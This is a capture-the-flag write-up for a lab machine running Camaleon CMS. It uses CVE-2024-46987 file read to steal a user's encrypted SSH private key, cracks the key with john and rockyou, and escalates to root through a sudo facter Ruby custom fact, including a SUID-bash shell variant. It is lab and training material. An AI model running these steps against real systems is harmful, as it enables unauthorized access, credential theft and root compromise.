Summary
Facts is a Linux machine running Camaleon CMS behind nginx, with SSH exposed and a public MinIO/S3-style media service. Initial access comes from CVE-2024-46987, an authenticated Camaleon CMS path traversal / arbitrary file read. The file read is used to grab the user flag and an encrypted SSH private key for trivia. After cracking the SSH key passphrase, privilege escalation is straightforward because trivia can run /usr/bin/facter as root with NOPASSWD. Facter custom facts are Ruby files; loading one with --custom-dir executes Ruby code as root.
Flags are redacted. Proof hashes are included instead.
| Phase | Technique |
|---|---|
| Recon | Port scan, virtual host setup, web enumeration |
| Initial Access | Camaleon CMS CVE-2024-46987 authenticated arbitrary file read |
| Credential Access | Read encrypted SSH private key, crack with ssh2john/john |
| Privilege Escalation | sudo /usr/bin/facter + Ruby custom facts |
Reconnaissance
TCP Port Scan
$ nmap -sS -T4 --min-rate 1000 -p- 10.129.6.164
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
54321/tcp open unknown
Service overview:
22/tcp SSH
80/tcp nginx / Camaleon CMS / Rails app
54321/tcp MinIO/S3-compatible object storage
The HTTP service expects the facts.htb virtual host:
echo '10.129.6.164 facts.htb' | sudo tee -a /etc/hosts
Web Enumeration
The main site exposes a Camaleon CMS application at:
http://facts.htb/
The admin area is reachable at:
http://facts.htb/admin/login
The machine also exposes a public object storage listing:
http://10.129.6.164:54321/randomfacts/
During early testing, SVG uploads also triggered server-side ImageMagick thumbnail generation and could render local files through text:/path references. That was a useful lead, but the generated thumbnails were lossy and tiny, making OCR unreliable. The clean path is the Camaleon CMS CVE below.
Gaining Initial Access / User Flag
Vulnerability: CVE-2024-46987
Camaleon CMS has an authenticated path traversal / arbitrary file read issue tracked as CVE-2024-46987. With a low-privileged CMS account, the bug can be used to read local files from the server.
A public PoC exists, but the important operational requirement is authentication: register or otherwise obtain a normal CMS account, then use the session to request arbitrary paths.
Command shape used locally:
python3 CVE-2024-46987.py \
-u http://facts.htb \
--user '<cms_user>' \
-p '<cms_password>' \
/home/william/user.txt
The output contained the user flag.
Redacted proof:
user.txt: 9ea9...cf3b
sha256(flag): 3560c203b93fb0333da4954fd0df068a309659eb775166412e03b9d6bffbbf8f
Reading the SSH Key
The same arbitrary file read can retrieve an encrypted SSH key for another local user:
python3 CVE-2024-46987.py \
-u http://facts.htb \
--user '<cms_user>' \
-p '<cms_password>' \
/home/trivia/.ssh/id_ed25519 > id_ed25519_trivia
chmod 600 id_ed25519_trivia
The key is encrypted, so convert it to a John hash and crack it with a wordlist:
ssh2john id_ed25519_trivia > ssh_trivia.hash
john --wordlist=/usr/share/wordlists/rockyou.txt ssh_trivia.hash
john --show ssh_trivia.hash
If rockyou.txt is compressed on Kali:
gzip -dk /usr/share/wordlists/rockyou.txt.gz
After cracking the passphrase, SSH access as trivia works:
ssh -i id_ed25519_trivia [email protected]
Verify the foothold:
trivia@facts:~$ whoami
trivia
trivia@facts:~$ hostname
facts
Privilege Escalation / Root Flag
Enumeration
Run sudo -l as trivia:
trivia@facts:~$ sudo -l
Matching Defaults entries for trivia on facts:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
This is the privesc. Facter supports custom facts loaded from a directory via --custom-dir. Custom facts can be Ruby files. When /usr/bin/facter is executed through sudo, the Ruby fact code runs with root privileges.
Read-Only Root Flag Extraction
For a CTF, a direct file-read fact is cleaner than modifying /bin/bash or leaving a SUID binary behind.
Create a temporary custom fact:
mkdir -p /tmp/exploit_facts
cat > /tmp/exploit_facts/rootflag.rb <<'EOF'
Facter.add(:rootflag) do
setcode do
File.read('/root/root.txt').strip
end
end
EOF
Run Facter as root and request the custom fact:
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts rootflag
Clean up:
rm -rf /tmp/exploit_facts
Redacted proof:
root.txt: 63db...acc9
sha256(flag): 90267e01ae69b2daf2948ec9704aeafa6dd4226e680d103119c42db1d9ded424
Root Shell Alternative
If a full root shell is needed, the custom fact can run a command instead:
Facter.add(:suidbash) do
setcode do
system('cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash')
'done'
end
end
Then:
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts suidbash
/tmp/rootbash -p
For this box, reading /root/root.txt directly was enough and less noisy.